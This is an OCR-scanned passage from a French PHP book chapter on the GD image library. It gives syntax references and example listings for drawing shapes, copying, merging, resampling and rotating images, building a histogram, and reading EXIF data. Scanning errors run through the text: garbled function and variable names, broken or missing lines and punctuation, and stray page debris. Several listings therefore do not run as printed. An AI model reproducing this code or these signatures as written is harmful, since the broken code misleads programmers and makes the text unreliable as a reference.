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Listing 13.8 : gdjellipse.php 

<?php 

header("Content-type: image/png") ; 

$largeur = 290; 

$hauteur = 50; 

$image = imageCreate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageFilledEl 1 ipse($image, 40, 25, 60, 30, $noir); 

imageFilledEl 1 ipse($image, 110, 25, 60, 10, $noir); 

imageFilledEllipse($image, 180, 25, 10, 30, $noir); 

imageFilledEllipse($image, 250, 25, 30, 30, $noir); 



imagePNG($image) ; 
imageDestroy($ image) 



?> 




Figure 13.7 : 

imageFilledArc () 



imageRectangle() 



Permet de dessiner un rectangle 
Syntaxe 



$ image 
$xl 

$yi 

$x2 
$y2 

$couleur 
retour 



boolean imageRectangle(resource $image, int $xl, int $yl, int 
$x2, int $y2, int $couleur) 

Identifiant de l'image sur laquelle dessiner le rectangle. 

Abscisse du point superieur gauche. 

Ordonnee du point superieur gauche. 

Abscisse du point inferieur droit. 

Ordonnee du point inferieur droit. 

Identifiant de la couleur du rectangle. 

TRUE. 
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Listing 13.9 : gdrectangle.php 

<?php 

header("Content-type: image/png") ; 

$largeur = 151; 

$hauteur = 50; 

$image = imageCreate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageRectangle($image, 10, 10, 70, 40, $noir); 

imageRectangle($image, 80, 10, 110, 40, $noir); 

imageRectangle($image, 120, 10, 130, 40, $noir); 

imageRectangle($image, 140, 10, 141, 40, $noir); 

imagePNG($image) ; 
imageDestroy($image) ; 
?> 



Figure 13.8 : 

imageRectangle () 



IDDI 



imageFilledRectangle () 



Permet de dessiner un rectangle plein. 

Syntaxe boolean imageFil ledRectangle(resource $image, int $xl, int 

$yl, int $x2, int $y2, int $couleur) 

$ i mage Identifiant de l'image sur laquelle dessiner le rectangle plein. 

$x 1 Abscisse du point superieur gauche. 

$y 1 Ordonnee du point superieur gauche. 

$x2 Abscisse du point inferieur droit. 

$y2 Ordonnee du point inferieur droit. 

$coul eur Identifiant de la couleur du rectangle. 

retour TRUE. 

Listing 13.10 : gdjrectangle.php 

<?php 

header("Content-type: image/png") ; 

$largeur = 151; 

$hauteur = 50; 

$image = imageOeate($largeur, $hauteur); 









CO 


o> 




3 


i- 


3 


CD 
CO 


Dl 




O 


3 


3 


o> 




IB 




CD 


-n 


CO 






Dl 


CD 


co 










CD 




CO 



1059 



Chapitre 1 3 Les images et les animations Flash 



$fond = imageColorAllocate($image, 200, 200, 200); 
$noir = imageColorAllocate($image, 0, 0, 0); 

imageFilledRectangle($image, 10, 10, 70, 40, $noir); 

imageFilledRectangle($image, 80, 10, 110, 40, $noir); 

imageFilledRectangle($image, 120, 10, 130, 40, $noir): 

imageFilledRectangle($image, 140, 10, 141, 40, $noir): 

imagePNG($image) ; 
imageDestroy($image) ; 
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Figure 13.9 : 

imageFilledRectangle () 
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imagePolygon() 

Permet de dessiner un polygone d'au plus 256 points 
Syntaxe : 



$ image 

$points 

$nombrePoints 

$couleur 



Retour 



boolean imagePolygon(resource $image, array $points, int 
$nombrePoints, int $couleur) 

Identifiant d'image sur laquelle dessiner un polygone. 

Un tableau de points de la forme array ( $xl , $yl , $x2 , $y2...) 

Nombre de points du polygone (done generalement la moitie de la taille du 
tableau $points). 

Identifiant de la couleur du polygone, lMG_COLOR_BRUSHED (voir 
imageSetBrushO), IMG_COLOR_STYLED (voir 

imageSetStyle ( ) ) ou IMG_COLOR_STYLEDBRUSHED. 

TRUE. 



Listing 13.11 : gdpolygone.php 

<?php 

header("Content-type: image/png") ; 

$largeur = 151; 

$hauteur = 50; 

$image = imageCreate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imagepolygon($image, array(10, 10, 70, 10, 70, 40, 10, 40), 4, $noir); 
imagePolygon($image, array(80, 10, 90, 30, 100, 15, 140, 10, 110, 40, 

80, 35, 82, 17), 7, $noir); 
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imagePNG($image) ; 
imageDestroy($image) ; 



l> 
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Figure 13.10 



Fchier Ejaon Affid » ,y imagePolygon( ) 
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imageFilledPolygon () 



Permet de dessiner un polygone plein d'au plus 256 points. 

Syntaxe boolean imageFil ledPolygon (resource $image, array $points, int 

$nombrePoints, int $couleur) 

$ i mage Identifiant de l'image sur laquelle dessiner un polygone. 

$points Un tableau de points de la forme array ( $xl , $yl, $x2 , $y2... ). 

$nombrePoints Nombre de points du polygone (generalement la moitie de la taille du 

tableau $points). 

$couleur Identifiant de la couleur de remplissage du polygone ou 

IMG_COLOR_TILED (voir imageSetTile ( ) ). 

retour TRUE. 

Listing 13.12 : gdf polygon, php 

<?php 

header("Content-type: image/png") ; 

$largeur = 151; 

$hauteur = 50; 

$image = imageOeate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageFilledPolygon($image, array(10, 10, 70, 10, 70, 40, 10, 40), 4, $noir); 
imageFilledPolygon($image, array(80, 10, 90, 30, 100, 

15, 140, 10, 110, 40, 80, 35, 82, 17), 7, $noir); 

imagePNG($image) ; 
imageDestroy($image) ; 
?> 
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Figure 13.11 : 

imageFilledPolygon () 
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Voici un script utilisant toutes ces fonctions : 

Listing 13.13 : gd_05.php 

<?php 

header("Content-type: image/png") ; 

$largeur = 290; 

$hauteur = 170; 

$image = imageCreate($largeur, $hauteur) ; 

$fond = imageColorAllocate($image, 200, 200, 200); 

$noir = imageColorAllocate($image, 0, 0, 0); 

imageArc($image, 40, 25, 60, 30 , 0, 240, $noir); 
imageFi"lledEllipse($image, 110, 25, 60, 30, $noir); 
//imageEllipse($image, 180, 40, 60, 30, $noir); 

imageFilledArc($image, 40, 65, 60, 30 , 0, 240, $noir, IMG_ARC_PIE) ; 

imageFi"lledArc($image, 110, 65, 60, 30 , 0, 240, $noir, IMG_ARC_CH0RD) ; 

imageFilledArc($image, 180, 65, 60, 30 , 0, 240, $noir, IMG_ARC_N0FILL) ; 

imageFilledArc($image, 250, 65, 60, 30 , 0, 240, $noir, IMG_ARC_EDGED) ; 

imageRectangle($image, 10, 90, 70, 120, $noir); 
imageFilledRectangle($image, 80, 90, 140, 120, $noir); 

imagePolygon($image, array(10, 130, 20, 150, 30, 135, 70, 130, 

40, 160, 10, 155, 12, 137), 7, $noir); 

imageFilledPolygon($image, array(80, 130, 90, 150, 100, 135, 140, 130, 

110, 160, 80, 155, 82, 137), 7, $noir); 



imagePNG($image); 
imageDestroy($image) ; 



?> 



Fichier Editio; 



V?' 



Figure 13.12 : 

Utilisation des fonctions de dessin 
geometrique 
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Changer le type de trace 



II est possible de redefinir le type du crayon utilise lors du trace a l'aide de differentes 
methodes. 



imageSetBrushQ 



Permet de definir le pinceau utilise. Le pinceau etant une image, pour l'utiliser, il faut choisir 
img_color_brushed ou img_color_styledbrushed en guise de couleur. 

Syntaxe boolean imageSetBrush (resource $image, resource $pinceau) 

$ i mage Identifiant de l'image sur laquelle on veut redefinir le type de trace. 

$pi nceau Identifiant de l'image qui servira a tracer une ligne. 

retour TRUE. 



imageSetStyleO 



Permet de definir le style d'un trait a l'aide d'un tableau de couleurs. Pour utiliser ce type de 
trait, il suffit de definir la couleur de trace comme etant la constante img_color_styled. 

Syntaxe boolean imageSetStyle(resource $image, array $style) 

$ i mage Identifiant de l'image sur laquelle on veut appliquer le style de trait. 

$style Tableau de couleurs. 

retour TRUE. 

Voici un exemple tra§ant une ligne composee de deux pixels bleus, puis deux rouges, puis deux 
verts, deux bleus, deux rouges, etc. 

Listing 13.14 : gdsetstyle.php 

<?php 

header("Content-type: image/png") ; 

$image = imagecreate(100, 100); 

$blanc = imageColorAllocate($im, 255, 255, 255); 

$bleu = imageColorAllocate($im, 0, 0, 255); 

$rouge = imageColorAl locate($im, 255, 0, 0); 

$vert = imageColorAllocate($im, 0, 255, 0): 

$style = array($bleu, $bleu, $rouge, $rouge, $vert, $vert); 
imageSetStyle($image, $style); 

imageLine($image, 0, 0, 100, 100, IMG_C0L0R_STYLED) ; 
imagePNG($image) ; 
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imageDestroy($image) ; 
?> 




Figure 13.13 : 

Le resultat agrandi 



imageSetTileQ 
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Permet de redefinir la facon de remplir une ellipse, un rectangle. . . L'image fournie est repetee 
pour remplir la surface. Pour utiliser ce type de remplissage par la suite, il suffit de passer la 
constante img_color_tiled comme couleur. 

Syntaxe boolean imageSetTile (resource $image, resource 

$imageRempl i ssage) 

$ i mage Identifiant de l'image sur laquelle on veut redefinir le remplissage. 

$imageRempl i ssage Identifiant de l'image qui servira a effectuer le remplissage de surface. 

retour TRUE. 

II est egalement possible de simplement definir l'epaisseur du trait : 



imageSetThickness 

Permet de redefinir l'epaisseur du trait en pixels. 

Syntaxe boolean imageSetThickness (resource $image, int $epaisseur) 

$ i mage Identifiant de l'image sur laquelle redefinir l'epaisseur du trait. 

$epaisseur Epaisseur du trait, 

retour TRUE. 

Listing 13.15 : gdsetthickness.php 

<?php 

header("Content-type: image/png") ; 

$image = imageCreate(100, 100); 

$fond = imageColorAllocate($image, 255, 255, 255); 

$noir = imageColorAllocate($image ,0, 0, 0); 

imageSetThickness ($image, 10); 

imageLine($image, 0, 0, 100, 100, $noir); 

imagePNG($image) ; 

?> 



1064 



Images (utilisation de la bibliotheque GD) 




Figure 13.14 

Le resultat 



Utiliser les couleurs 
Recuperer des couleurs 

II est possible de connaitre la couleur d'un pixel grace a la fonction imageColorAt ( ) . 



imageColorAt() 

Retourne l'identifiant de la couleur d'un pixel. 

Syntaxe int imageColorAt (resource $image, int $x, int $y) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$x Abscisse du pixel. 

$y Ordonnee du pixel. 

retour Identifiant de la couleur. 

Copier des parties d'image 

II existe quelques fonctions qui permettent de copier des parties d'une image dans une autre. 
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imageCopyO 



Cette fonction copie une partie d'image dans une autre. 

Syntaxe boolean imageCopy(resource $imageDest, resource $imageSource, 

int $xDest, int $yDest, int $xSource, int $ySource, int 
$largeurSource, int $hauteurSource) 

$imageDest Identifiant de l'image de destination. 

$imageSource Identifiant de l'image source. 

$xDest Abscisse sur l'image de destination. 

$yDest Ordonnee sur l'image de destination. 
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$xSource Abscisse sur l'image source. 

$ySource Ordonnee sur l'image source. 

$1 argeurSource Largeur du morceau d'image a recuperer. 

$hauteurSo urce Hauteur du morceau d'image a recuperer. 

retour true. 



Listing 13.16 : gdcopy.php 

<?php 

header("Content-type: image/png") ; 

$imagel = imageCreateFromJpeg("Thumbnailadrien. jpg") 

$image2 = imageCreateTrueColor(60,80) ; 

imageCopy($image2, $imagel, 0, 0, 30, 40, 60, 80); 

imagePNG($image2); 

imageDestroy($imagel) ; 

imageDestroy($image2) ; 
?> 
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REMARQUE 



Figure 13.15 : 

Thumbnailadrien.jpg 



Figure 13.16 : 

Partie de l'image 
copiee 



Format source et destination 

Ilfaut imperativement copier une image TrueColor dans une autre image TrueColor, 
ou cela entrainera la panne du serveur. De maniere generale, on ne peut copier une 
image que dans une autre de meme type. imageCreateFromJpeg ( ) cree une image 
TrueColor. 



imageCopyMergeQ 



Cette fonction permet de copier une image dans une autre et de les fusionner selon un 
coefficient. 



Syntaxe 



boolean imageCopyMerge(resource $imageDest, resource 
$imageSource, int $xDest, int $yDest, int $xSource, int 
$ySource, int $1 argeurSource, int $hauteurSource, int 
$coefficientTransparence) 
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SimageDest Identifiant de l'image de destination. 

$imageSource Identifiant de l'image source. 

$xDest Abscisse sur l'image de destination. 

$yDest Ordonnee sur l'image de destination. 

$xSource Abscisse sur l'image source. 

$ySource Ordonnee sur l'image source. 

$1 argeurSource Largeur du morceau d'image a recuperer. 

$hauteurSource Hauteur du morceau d'image a recuperer. 

$coeff i ci entTransparence C'est le coefficient qui permettra de mettre une des deux images en avant. 
II est compris entre et 100 ; n'aura aucun effet, alors qu'utiliser 100 
reviendra a utiliser la fonction imageCopy ( ) . 

retour TRUE. 

Le script suivant utilise la fonction imageCopyMerge ( ) . II suffit de lui passer en parametre le 
coefficient de transparence pour avoir l'image Thumbnailadriencopy.jpg sur avion.jpg. 

Listing 13.17 : gdcopymerge.php 

<?php 

header("Content-type: image/png") ; 

$imagel = imageCreateFromJpeg("Thurnbnailadriencopy. jpg") ; 
$image2 = imageCreateFromJpeg("avion.jpg") ; 
imageCopyMerge($image2, $imagel, 75, 0, 0, 0, 60, 

80, $_GET["coef"]); 
imagePNG($image2); 
imageDestroy($imagel) ; 
imageDestroy($image2) ; 



Et voici une page HTML qui fait appel quatre fois a ce script en variant le coefficient de 
transparence. 

Listing 13.18 : gd_copymerge.html 

<html> 

<headxti tl e>ImageCopyMerge ()</ti tl ex/head> 
<body> 
<table> 
<tr> 
<tdximg src="cl3-copymerge.php?coef=0" /></td> 
<tdximg src="cl3-copymerge.php?coef=25" /x/td> 
<tdximg src="cl3-copymerge.php?coef=50" /x/td> 
<tdximg src="cl3-copymerge.php?coef=100" /x/td> 
</tr> 

<tr align="center"> 
<td>0</td> 
<td>25</td> 
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<td>50</td> 
<td>100</td> 
</tr> 
</table> 
</body> 
</html> 



3 lmageCopyMerge() - Microsoft Internet Explorer 



Fichier Edition Affichaye Favoris Outils 



hi:i:!:i://lai:a!hosi:/Bilj!epHPscripl:s/chapi2/ci2-copymetge2.hl:ml 



B» 




Figure 13.17 : 

Quelques exemples 
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imageCopyMergeGrayO 



Cette fonction permet de copier une image dans une autre et de les fusionner selon un 
coefficient, tout en transformant les pixels de destination en noir et blanc. 



Syntaxe 



$imageDest 

$imageSource 

$xDest 

$yDest 

$xSource 

$ySource 

$largeurSource 

$hauteurSource 

$coefficient 
Transparence 

retour 



boolean imageCopyMergeGray(resource $imageDest, resource 
$imageSource, int $xDest, int $yDest, int $xSource, int 
$ySource, int $largeurSource, int $hauteurSource, int 
$coefficientTransparence) 

Identifiant de 1'image de destination. 

Identifiant de 1'image source. 

Abscisse sur 1'image de destination. 

Ordonnee sur 1'image de destination. 

Abscisse sur 1'image source. 

Ordonnee sur 1'image source. 

Largeur du morceau d'image a recuperer. 

Hauteur du morceau d'image a recuperer. 

C'est le coefficient qui permettra de mettre une des deux images en avant. 
II est compris entre et 100 ; n'aura aucun effet, alors qu'utiliser 100 
reviendra a utiliser la fonction imageCopy ( ) . 

TRUE. 
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imageCopyResized () 



Cette fonction permet de recopier et de changer la taille de la selection. 

Syntaxe boolean imageCopyResized(resource $imageDest, resource 

$imageSource, int $xDest, int $yDest, int $xSource, int 
$ySource, int $largeurDest, int $hauteurDest, int 
$largeurSource, int $hauteurSource) 

SimageDest Identifiant de l'image de destination. 

$imageSource Identifiant de l'image source. 

$xDest Abscisse sur l'image de destination. 

$yDest Ordonnee sur l'image de destination. 

$xSource Abscisse sur l'image source. 

$ySource Ordonnee sur l'image source. 

$1 argeurDest Largeur du morceau d'image apres transformation. 

$hauteurDest Hauteur du morceau d'image apres transformation. 

$1 argeurSource Largeur du morceau d'image a recuperer. 

$hauteurSource Hauteur du morceau d'image a recuperer. 

retour TRUE. 



Le script suivant deforme une image : 

Listing 13.19 : gdcopyresized.php 

<?php 

header("Content-type: image/png") ; 

$imagel = imageCreateFromJpeg("avion.jpg") ; 

$image2 = imageCreateTrueColor(200,100) ; 

imageCopyResized($image2, $imagel, 0, 0, 0, 0, 200, 

imagePNG($image2); 

imageDestroy($imagel) ; 

imageDestroy($image2) ; 
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100, 135, 180); 




Figure 13.18 : 

L'image de test 



Figure 13.19 

Le resultat 
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imageCopyResampled () 
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Cette fonction permet de recopier et de changer la taille de la selection en utilisant une 
methode non pixelisee, contrairement a imageCopyResize ( ) . 



Syntaxe 



$imageDest 

$imageSource 

$xDest 

$yDest 

$xSource 

$ySource 

$largeurDest 

$hauteurDest 

$largeurSource 

$hauteurSource 

retour 



boolean imageCopyResampled(resource $imageDest, resource 
$imageSource, int $xDest, int $yDest, int $xSource, int 
$ySource, int $largeurDest, int $hauteurDest, int 
$largeurSource, int $hauteurSource) 

Identifiant de l'image de destination. 

Identifiant de l'image source. 

Abscisse sur l'image de destination. 

Ordonnee sur l'image de destination. 

Abscisse sur l'image source. 

Ordonnee sur l'image source. 

Largeur du morceau d'image apres transformation. 

Hauteur du morceau d'image apres transformation. 

Largeur du morceau d'image a recuperer. 

Hauteur du morceau d'image a recuperer. 

TRUE. 



Le script suivant deforme une image : 

Listing 13.20 : gdcopyresampled.php 

<?php 

header("Content-type: image/png") ; 

$imagel = imageCreateFromJpeg("avion. jpg") 

$image2 = imageCreateTrueColor(200,100) ; 

imageCopyResampled($image2, $imagel, 0, 0, 

imagePNG($image2); 

ImageDestroy($imagel) ; 

ImageDestroy($image2) ; 
?> 



0, 0, 200, 100, 135, 180); 




Figure 13.20 : 

L'image de test 



Figure 13.21 

Le resultat 
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Pour copier une image avec un fond transparent sur une autre image, il faut copier non 
seulement les couleurs, mais aussi les canaux alpha. La fonction imageAlphaBlending ( ) 
permet de le faire. 



imageAlphaBlending () 



Cette fonction permet de modifier la facon dont seront melangees les couleurs d'une image lors 
d'une copie. 

Syntaxe boolean imageAlphaBlending (resource $image, boolean 

$canauxAlpha) 

$ i mage Identifiant de l'image sur laquelle on veut modifier cette propriete. 

$canauxAl pha TRUE pour garder les canaux alpha, FALSE sinon. Par defaut, lors de la 

copie, les canaux alpha sont ignores. 

retour TRUE. 



Listing 13.21 : gdalpha.php 

<?php 

$photo = imageCreateFromJPEGCThumbnailadrien.jpg 1 ); 

imageAlphaBlending($photo, true) ; 

$logo = imageCreateFromPNGC logo.png 1 ) ; 

imageCopy($photo, $logo, 10, 120, 0, 0, 50, 30); 

imagePNG($photo); 

imageDestroy($photo) ; 

imageDestroy($logo); 

?> 
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Figure 13.22 : 

Fichio, Edition » ft l Resultat du script 



ahiip:Hio...rrip]f><l 



- 1 Hotmail 



m 



Logo 



En demandant a garder les informations des canaux alpha, le fond transparent du logo a ete 
conserve. 

II est possible depuis PHP 4.3.0 de tourner une image d'un angle quelconque, cela se fait tres 
simplement grace a la fonction imagerotate ( ) . 
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Chapitre 1 3 Les images et les animations Flash 

ImageRotate() 

Permet de tourner une image. 

Syntaxe: resource imageRotate(resource $imageSource, float $angle, int 

$couleurFond) 

$imageSource Image a tourner. 

$angle Angle selon lequel on veut tourner l'image (dans le sens inverse des 

aiguilles d'une montre) 

$coul eur Fond Couleur de remplissage du fond. 

retour L'image tournee de Tangle voulu avec un fond de couleur 

$couleurFond. 

Voici un petit exemple de rotation d'une image de 30 degres. 

Listing 13.22 : gdjmagerotate.php 

<?php 

header("Content-type: image/jpeg") ; 

$image = imageCreateFromJPEG("niki .jpg") ; 

$fondbleu = imageColorAl locate($image, 100, 100, 255); 

$image = imageRotate($image,30,$fondbleu) ; 

imageJPEG($image) ; 

?> 

Figure 13.23 : 

Image tournee 




Taille d'une image 



II existe deux fonctions permettant de recuperer la largeur et la hauteur d'une image : ce sont 
les fonctions imagesxo et imageSY(). Elles prennent toutes les deux comme parametre 
l'identifiant d'une image : 



imageSX() 

Retourne la largeur de l'image. 

Syntaxe int imageSX(resource $image) 
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$ image 
retour 



Identifiant de l'image tel que retourne par la fonction imageCreate I 
et la famille de fonctions imageCreateFromXX ( ) . 
Largeur de l'image (en pixels). 



imageSY() 

Retourne la hauteur de l'image. 

Syntaxe int imageSX(resource $image) 

$image Identifiant de l'image tel que retourne par la fonction imageCreate I 

et la famille de fonctions imageCreateFromXX ( ) . 
retour Hauteur de l'image (en pixels). 



Un exemple : l'histogramme 

Nous allons effectuer, etape par etape, un script capable de dessiner dynamiquement un 
histogramme affichant la consommation de differents alcools (en litres) par Frangais. 

Etape 1 

A cette etape, nous allons simplement definir une image de fond : 

Listing 13.23 : gdjiistol.php 

<?php 

header("Content-type: image/png") ; 

$image = imageCreateFromJPEGCfondhisto.jpg"); 

imagePNG($image) ; 

imageDestroy($image) ; 
?> 

Ici, nous recuperons simplement l'image fondhisto.jpg, qui sera l'image de fond de 
l'histogramme. 
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Figure 13.24 

Etape 1 
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Etape2 

Nous allons maintenant ajouter un titre : 



Listing 13.24 : gd_histo2.php 

<?php 

header("Content-type: image/png") ; 

$image = irnageCreateFromJPEG("fondhisto.jpg") ; 

$largeur = imageSX($image) ; 

$hauteur = imageSY($image) ; 

$fontTitre = 5; 

$rouge = imageColorAl locate($image, 255, 0, 0); 

$titre = "Consommation alcool"; 

imageString($ image, $fontTitre, 

($largeur-ImageFontWidth($fontTitre)*strlen("$titre"))/2, 
0, $titre, $rouge) ; 

imagePNG($image) ; 

imageDestroy($image) ; 
?> 
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A partir du script de l'etape 1, nous recuperons la largeur et la hauteur de l'image, puis nous 
definissons une police d'ecriture parmi les cinq mises a disposition par PHP. Nous allouons une 
nouvelle couleur, puis nous prenons soin d'afficher le texte centre sur l'image. 



3 http://tocaLh<j5t/BibLePHP5cr... (T\\ D \{x\ 



Fichier Edition Affichage Favoris 




Figure 13.25 

Etape 2 



Etape3 

Maintenant, nous allons tracer les rectangles. Nous avons choisi de passer les donnees dans 
l'adresse de la forme : 

cl3-histo.php?valeurl;l ibel lel;valeur2;l ibel Ie2;valeur3;l ibelle3... 
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Listing 13.25 : gd_histo3.php 

<?php 

header("Content-type: image/png") ; 

$image = imageCreateFromJPEG("fondhisto. jpg") ; 

$largeur = imageSX($image) ; 

$hauteur = imageSY($image) ; 

$fontTitre = 5; 

$rouge = imageColorAl locate($image, 255, 0, 0); 

$couleur_barre = imageColorAllocate($iinage, 0,255,0) ; 

$titre = "Consommation alcool"; 

imageString($ image, $fontTitre, 

($largeur-ImageFontWidth($fontTitre)*strlen("$titre"))/2, 

0, $titre, $rouge); 

$valeurs = explode(";", $argv[0]); 

$largeurBarre = (int) (($largeur)/(1.5*sizeof ($valeurs)/2+0.5)) ; 
$max = 0; 

for ($i=0; $i<sizeof($valeurs)/2; $i++) { 
if ($valeurs[$i*2]>$max) $max = $valeurs[$i*2] ; 

} 

for ($i=0;$i<sizeof($valeurs)/2;$i++) { 

$x = (int)($largeurBarre*(0.5+$i*1.5)); 

$hauteurBarre = (int) (($valeurs[$i*2]*($hauteur-40))/$max) ; 

$imageBarre = imageCreate($largeurBarre, $hauteurBarre) ; 

$fondTemporaire = imageColorAllocate($imageBarre, 255, 255, 255); 

imageCopyMerge($image, $imageBarre, $x, 
$hauteur-15-$hauteurBarre, 
0, 0, $largeurBarre, $hauteurBarre, 70); 

imageDestroy($imageBarre) ; 

} 

imagePNG($image); 
imageDestroy($fondBarre) ; 
imageDestroy($image) ; 



Apres avoir recupere les valeurs passees de l'URL dans un tableau, nous calculons la largeur en 
pixels que devra avoir chacune des barres. Ensuite, afin d'exploiter au mieux l'espace vertical, 
il faut rechercher la valeur maximale parmi celles fournies. 

La seconde boucle for dessine un a un les rectangles de l'liistogramme. 

Nous avons choisi ici de definir une image pour chacun des rectangles, afin de pouvoir faire un 
effet de transparence grace a imageCopyMerge ( ) . 
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Figure 13.26 : 

Etape 3 
cl3-histo3.php?60;vin;39.6;biere;2.4;spiritueux;8.6;cidre 



Etape 4 
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Pour ce script final, nous utiliserons une petite image PNG qui est un degrade allant du vert au 
transparent. 

Par rapport au script precedent, l'image des barres est passee en TrueColor'. 

Listing 13.26 : gd_histo4.php 

<?php 

header("Content-type: image/png") ; 

$image = imageCreateFromJPEG("fondhisto.jpg") ; 

$largeur = imageSX($image) ; 

$hauteur = imageSY($image) ; 

$fontTitre = 5; 

$rouge = imageColorAllocate($image, 255, 0, 0); 

$couleur_barre = imageColorAl locate($image,0, 255,0) ; 

$titre = "Consommation alcool"; 

imageString($ image, $fontTitre, 

($1 argeur-ImageFontWi dth ($f ontTi tre) *strl en ("$ti tre") ) /2, 
0, $titre, $rouge); 

$valeurs = explode(";", $argv[0]); 

$1 argeurBarre = (1 nt) ( ($1 argeur)/(l . 5*si zeof ($val eurs) /2+0. 5) ) ; 
$max = 0; 

for ($1=0; $i<sizeof($valeurs)/2; $i++) { 
if ($valeurs[$i*2]>$max) $max = $valeurs[$i*2] ; 



$fondBarre = imageCreateFromPNG("barhisto.png") ; 

for ($i=0;$i<sizeof($valeurs)/2;$i++) { 

$x = (int)($largeurBarre*(0.5+$i*1.5)); 
$hauteurBarre = (int) (($valeurs[$i*2]*($hauteur-40))/$max) ; 
$imageBarre = imageCreateTrueColor($l argeurBarre, $hauteurBarre) ; 
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imageCopy($imageBarre, $image, 0, 0, $x, 

$hauteur-15-$hauteurBarre, $largeurBarre, $hauteurBarre) ; 
imageAlphaBlending($imageBarre, true) ; 
imageCopyResampled($imageBarre, $fondBarre, 0, 0, 

0, 0, $largeurBarre, $hauteurBarre, imageSX($fondBarre) , 

imageSY($fondBarre)) ; 
imageCopyMerge($image, $imageBarre, $x, $hauteur-15-$hauteurBarre, 

0, 0, $largeurBarre, $hauteurBarre, 90); 
imageDestroy($imageBarre) ; 
imageStringUp($image, 3, $x, $hauteur-17, $valeurs[$i*2+l] , 

urldecode($rouge)); 

} 

imagePNG($image); 
imageDestroy($fondBarre) ; 
imageDestroy($image) ; 



Pour rendre l'effet souhaite, il va nous falloir agrandir l'image qui nous servira a dessiner les 
rectangles, puis copier cette image sur l'image de fond. II faudra, en outre, preserver l'effet de 
transparence defini dans l'image servant pour les rectangles. 

Tout d'abord, nous avons cree une image TrueColor' puis recopie la partie de l'image de fond 
afin de pouvoir recreer par la suite l'effet de transparence. 

Ensuite, nous devons preciser l'utilisation des couches alpha, puis copier sur cette image un 
agrandissement du fond des rectangles. 

II ne reste plus qu'a coller cette image sur l'image de fond, en utilisant eventuellement, comme 
ici, un autre effet de transparence. 

Nous avons egalement ecrit verticalement les libelles des batons. 
Au final, void ce que Ton obtient pour l'appel suivant : 
gd_histo4.php?60;vin;39.6;biere;2.4;spiritueux;8.6;cidre 

Figure 13.27 : 
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Etape 4 
cl3-histo4.php?60;vin;39.6;biere;2.4;spiritueux;8.6;cidre 
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Chapitre 1 3 Les images et les animations Flash 



Recuperer des informations sur un fichier image 

II existe d'autres fonctions ne faisant pas partie de la bibliotheque gd, mais permettant de 
recuperer des informations sur les fichiers images. 

C'est tout d'abord la fonction getlmageSize ( ) . 



getImageSize() 

Retourne la taille et le type d'une image. 

Syntaxe array getImageSize(string $nomFichier [, array $info]) 

$nomFichier Nom du fichier image. 

retour Tableau indexe contenant : 

a l'index 0, la largeur de l'image (en pixels). 

a l'index 1, la hauteur de l'image (en pixels). 

a l'index 2, le code du format de l'image (1 = GIF, 2 = JPG, 3 = PNG, 4 = 

SWF, 5 = PSD, 6 = BMP, 7 = TIFF (ordre des octets intel), 8 = TIFF 

(ordre des octets motorola), 9 = JPC, 10 = JP2, 11 = JPX). 

a l'index 3, une chaine de caracteres width=" . . " height=" ..." 

pouvant etre directement integree dans une balise <img>. 

Recuperer des informations EXIF sur un fichier image 

D'autres fonctions non originaires de la bibliotheque gd mais exif permettent de recuperer 
des informations sur les fichiers images. Les informations EXIF sont generalement inscrites 
dans les images prises par des appareils photo numeriques. On peut retrouver dans ces 
informations la resolution, l'ouverture, la focale... Ces donnees varient d'un constructeur a 
1'autre. 

Installation 

Sous Windows 

Avec I 'archive du PHP Group 

Vous devrez vous assurer d'avoir le fichier php_exif.dll (livre dans l'archive PHP distribute par 
le PHP Group) dans votre repertoire contenant les extensions PHP, et ajouter ou 
decommenter une ligne 

extension=php_exif .dll 

AvecEasyPHP 

Avec EasyPHP, le support d'EXIF est active automatiquement. 
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Sous Linux 

Vous devrez simplement recompiler PHP avec l'option — enable-exif . 

Verification 

Vous pouvez verifier le succes de l'operation avec un script contenant simplement la ligne 
<?php phpinf o ( ) ; ?> qui devra afficher : 



EXIF Support 


enabled 


EXIF Version 


1.2 


Supported EXIF Version 


021 00 


Supported file types 


JPEG.TIFF 



Figure 13.28 

phpinfoQ 



Utilisation 



exif_imageiype 



Permet de determiner le type d'une image. 

Syntaxe int exif_imageType(string $nomFichier) 

$nomFichier Nom et chemin du fichier image a etudier. 

retour Type de l'image. 

IMAGETYPE_GIF (= 1) au format GIF. 
IMAGETYPE_JPG (= 2) au format JPEG. 
IMAGETYPE_PNG (= 3) au format PNG. 
IMAGETYPE_SWF (= 4) au format SWF. 
IMAGETYPE_PSD (= 5) au format PSD. 
IMAGETYPE_BMP (= 6) au format BMP. 
IMAGETYPE_TIFF_II (= 7) au format TIFF II. 
IMAGETYPE_TIFF_MM (= 8) au format TIFF MM. 
IMAGETYPE_JPC (= 9) au format JPC. 
IMAGETYPE_JP2 (= 10) au format JP2. 
IMAGETYPE_JPX (= 11) au format JPX. 
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exif_read_data() 



Cette fonction permet de lire l'en-tete EXIF d'une image JPEG ou TIFF. (Disponible depuis 
PHP 4.2.0). 

Syntaxe array exif_read_data (string $nomFichier [, string 

$informations [, boolean $tableaux [, boolean $thumbnail]]] ) 

$nomFichier Nom du fichier image (ne peut pas etre une URL) . 
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$informations 



$tableaux 



$thumbnail 
retour 



Liste des informations (separees par des virgules) que vous souhaitez 
extraire. 

FILE : Des informations sur le fichier de l'image (voir exemple) 

COMPUTED : Des informations sur la taille de l'image entre autre. 

ANY_TAG 

IFDO 

THUMBNAIL : Toutes les informations sur l'apercu d'image. 

COMMENT : Eventuel commentaire sur la photo 

EXIF : Donnees concernant essentiellement les photos numeriques. 

TRUE si vous souhaitez que les informations soient regroupees par theme 
dans des tableaux, FALSE (par defaut) sinon. Les informations portant des 
noms pouvant creer des conflits seront quoi qu'il arrive regroupees dans 
des tableaux. 

TRUE si la fonction doit lire le thumbnail (vignette), FALSE sinon. 

Tableau associatif. 



Voici un exemple qui permet de lire tout l'en-tete hormis l'apercu : 



<s> 
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Listing 13.27 : exifl.php 

<?php 

$fichier=" adrien.jpg"; 
